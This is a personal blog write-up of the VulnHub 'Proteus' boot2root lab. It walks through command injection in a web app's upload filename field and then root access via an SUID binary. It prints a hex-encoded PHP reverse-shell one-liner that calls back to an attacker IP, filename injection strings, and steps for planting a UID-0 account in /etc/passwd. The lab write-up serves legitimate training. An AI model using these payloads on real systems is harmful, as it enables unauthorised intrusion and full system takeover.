[Vulnhub] Proteus

Hey everyone! It’s been a busy month with work and other life. Fortunately, I had time to work on Proteus, a new boot2root posted on https://www.vulnhub.com/entry/proteus-1,193/. This was a classic design with only a webapp and one flag for achieving root. The hardest work was certainly getting that initial reverse shell. Let’s check out how to root it!

Let’s start off with an nmap scan.

Only web is open.

Interesting.   It looks like, as the description says, it’s a web app for “malware” analysis.  I tried to brute force the login with some common passwords, but no luck.  Let’s try and upload a binary and see what happens.

So it runs strings and objdump -d on the file we upload.  It also gives the file a new name and prints out the base64 encoded name of the file.  Also of note is we know the path of where the file is uploaded to.

Let’s try and inject some data!  I started with some javascript.  I used Burp to modify the file as I uploaded it and added some simple XSS.

Hey so that worked!  I wonder if we can inject PHP code?

Hmm.. Nothing’s there.  Let’s check the source.

Ok.  So after some research it looks like if it’s a .html file, PHP code won’t run because it’s server-side code and not client side.  After fiddling around with this for a while, I decided to move on to another vector.  I did spend far too long on this vector.

As a side note, after reading other write-ups, some folks said you could use the XSS to get an admin cookie and login.  I like the way I went about it though.

I continued to fiddle around with other fields.  What got me interested is two things:

Let’s take a look again at the name of the first file we uploaded:

See that period at the end?  I didn’t add that.  The other thing that interested me was I uploaded a file.exe and it changed the name to XXXXXXX.exe (after base64 decoding).  I messed around with the filename field some more.


Hey!  That name looks funny.  Let’s base64 decode it.

Score!  Our As were injected.  Also, it looks like they were converted to lower-case.  We’ll come back to this later.

So, the next step took me far too long.  After fiddling with the name field, I found that you can inject commands after the period like so:

So, let’s take a pause and see what we know so far.

  • We can inject commands
  • The commands run with the permissions of the webserver
  • All text will be converted to lower-case first

I’ll save you all some time and add two more details that took me a while to find out:

  • Any periods will change how the command is processed.  That is: filename.&ls -la; bob.exe will turn into: XXXXX.exe.  It seems like only everything after the LAST period is run as a command.
  • Forward slashes break everything

My first idea was to get a python reverse shell.  However, the restrictions on periods were problematic.  So my first solution was this:

python -c 'import base64; base64.b64encode("reverse shell code")'

This gives us base64 encoded python code.  My plan was to pass a filename like:

filename.&python -c 'import base64; exec(base64.b64decode(\"base64 encoded python code\")'

Notice what’s wrong?  Two things: the period will mess everything up and the base64 string will be converted to all lowercase first which will screw up the decoding.  Again, this took me hours to figure out (especially the lowercase thing).

I realized that base64 encoding wouldn’t work.  Fortunately, there’s another encoding method that doesn’t use uppercase: HEX!

Let’s take a look at similar code with hex.

python -c 'import binascii; print binascii.hexlify("reverse shell code")'
filename.&python -c 'import binascii; binascii.unhexlify(\"hexed shell code\")'

But wait… we still have a period!  This won’t work.

However, there’s another language that performs similarly but doesn’t require importing a library: PHP!

Here’s the actual PHP code I used:

php -r "print bin2hex('\$sock=fsockopen(\"\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");');"
php -r "eval(hex2bin('24736f636b3d66736f636b6f70656e28223139322e3136382e3138362e313238222c31323334293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b'));"
Let’s do it for real.
This took a LONG time for me to get the first reverse shell (it was processing for over 5 minutes).  But we got it!  On to the next challenge, getting root!
What does the offsec community preach?  Enumerate, enumerate, and enumerate.
I like to do manual exploration before uploading any scripts to do checks.  I began by exploring the home directory of malwareadm where all the files were being uploaded to.
Well there’s all our stuff.  What’s in the other folder?
Jackpot.  A root binary with the SUID bit.  Also, the admin_login_request.js script has the admin credentials for the website.  That’s probably how other users got the XSS to work.
Let’s pull the binary back and see if we can figure out what it’s doing.  It’s rare that there’s hardcore binary exploitation in these, so it shouldn’t be too difficult.
So when we run it normally, it looks like it’s trying to write to a file.  What if we add crazy input?
Well piping in a bunch of data didn’t do much, but passing a bunch of As as an argument is interesting.  After messing around with the amount of As, it looks like we can control the folder it writes information to.  Let’s see what information it writes:
It just writes whatever data was the input!  So let’s think about this.  We have a file that runs as root and we can write data to a file.  My first instinct is to add a user to /etc/passwd.
I wasted a lot of time again trying to add a user with no password, but it kept giving me authentication errors.  Eventually, I did the following:
  1. Add a user “bob” on my local box with password “bob”
  2. Grabbed the user hash from my local /etc/shadow file
  3. Create an /etc/passwd line with that hash included (with a UID and GUID of 0)
  4. Write that Proteus’ /etc/passwd
  5. Log in as bob (who has root permissions)

Let’s step through it:

I had to mess around with the number of As needed.  Also, if you add a new line without enclosing the python script in quotes, it will break everything.

You’ll see that I had to change the name a few times because I messed up a few times.

However, once that was in /etc/passwd I simply su’d to “bib” and I had root!  (And a very rewarding flag)
Lessons learned
  • Web can be finicky.  Sometimes a character can make or break your exploit
  • Fuzz all the fields
  • Try harder

Thanks for reading everyone!

Leave a Reply

Your email address will not be published. Required fields are marked *